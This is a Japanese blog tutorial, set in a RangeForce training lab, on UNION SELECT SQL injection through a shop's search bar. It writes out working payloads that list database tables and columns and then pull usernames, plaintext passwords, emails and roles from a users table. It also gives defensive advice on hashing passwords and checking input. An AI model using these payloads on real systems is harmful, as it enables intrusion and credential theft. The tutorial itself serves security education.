テクノロジー

実践で学ぶSQLインジェクション攻撃とユニオンセレクト

実践で学ぶSQLインジェクション攻撃とユニオンセレクト

SQLの基本(SELECT文など)を理解している前提でこの記事を書いています。 ハッキングは犯罪です。実際に試すのはセキュリティチェックの意味を込めて自分で作ったアプリだけに留めましょう。また以下の実践的なSQLインジェクションはすべてRangeForceのラボ上で行われています。

以前書いた記事はSQLインジェクション攻撃の基礎とログインの悪用を実践しています。対策もザックリまとめてあるのでまだ見ていない方はこちらからどうぞ。

ユニオンセレクトを使ったSQLインジェクション

SQLインジェクションでユニオンセレクトを使うとデータベース名、テーブル名、コラム名が簡単に調べられます。この辺の情報が手に入るだけでもすべてのデータが手に入りやすくなってしまいます。ハッカーとしてはきっと嬉しいものですが、開発者には相変わらず嫌な話です。

そもそもUNION SELECTが分からない人はSQL基礎を勉強してください。簡単にいうと普通のSELECT文に加えて別のものをSELECTできる※ただしコラムの数が同じかつ値も似たデータタイプでいないといけないというものです。w3schoolsが分かりやすいと思います。

実践してみる

image

例えばこんなサイトがあったとします。まずは前回と同様に途中でコメントアウトさせるようなSQL文を打ってテーブル名やコラム名を取得したいです。そんなときは

union select TABLE_NAME, COLUMN_NAME from information_schema.columns;

がとても便利に使えます。このままだと動かないので実際に動かしてみましょう。 今回は表には4個の要素(Code、Description、Stock、Price)がありますが、適当に入れたSQLが出したエラー文によるとこの検索バーで使われているSQL文は

SELECT id, name, description, stock, price FROM shop_items where name like '%'

の5個をSELECTしています。UNION SELECTを使うときは、この数が大事になります。5個ということを意識して

' union select 1,2,TABLE_NAME, COLUMN_NAME,5 from information_schema.columns; # -- 

上を入れてみましょう。中身は以下の通りになります。

SELECT id, name, description, stock, price FROM shop_items where name like '%' union select 1,2,TABLE_NAME, COLUMN_NAME,5 from information_schema.columns; # -- %' or description like '%' union select 1,,TABLE_NAME, COLUMN_NAME,5 from information_schema.columns; # -- %'

こんなものを入れてみましょう。UNION SELECTを使ってinformation_schemaからテーブル名とコラム名を取得するようなクエリです。12,5は数合わせのためにSELECTしているだけなので実際はなにを入れていてもかまいません。

image

いい感じに大量のデータが返ってきました。passwordでページ内を検索するとかなりハッカーだったら欲しい部分のテーブル名とコラム名をゲットできました。じゃあそのままそのユーザー情報を抜き取ってしまいましょう。少し自分で考えてみるのも楽しいです。

' union select id,username,password,email,role from shop_users; # -- 

わたしはこんなものを検索バーに入れてみました。先ほどはinformation_schema.columnsテーブルから取得していた情報ですが、既にテーブル名とコラム名が分かっているのでそのままshop_usersテーブルからusernameやpasswordを取得します。ちなみにRoleもSELECTしたので管理者も丸わかりです。

image

SQLインジェクションの対策がされていないかつパスワードも平文のまま保存されているというなかなかにヤバイサイトです。ハッカーにとっては万々歳の結果となりました。

パスワードは必ずハッシュ化(できればソルトやペッパーも)し平文のまま扱うことがないようにしましょう。また一部のハッシュアルゴリズム(md5など)は既に安全でないことが分かっています。その場合は簡単にクラックできてしまうので安全性の高いものを選びましょう。

まとめ

何度も書いていますが、実際には行わないでください。 他にもインジェクションの種類はたくさんありますが、今回はユニオンセレクトを使ったSQLインジェクションを紹介してみました。使える場所も限られてきますが、検索バーあたりが最も怪しい場所だと言えます。特に入力のチェックもなくデータを返している場合は要注意です。是非あなたのサイトで確認してください!もしインジェクション出来てしまうようであればしっかり対策してセキュリティを改善しましょう。

参考にしたサイト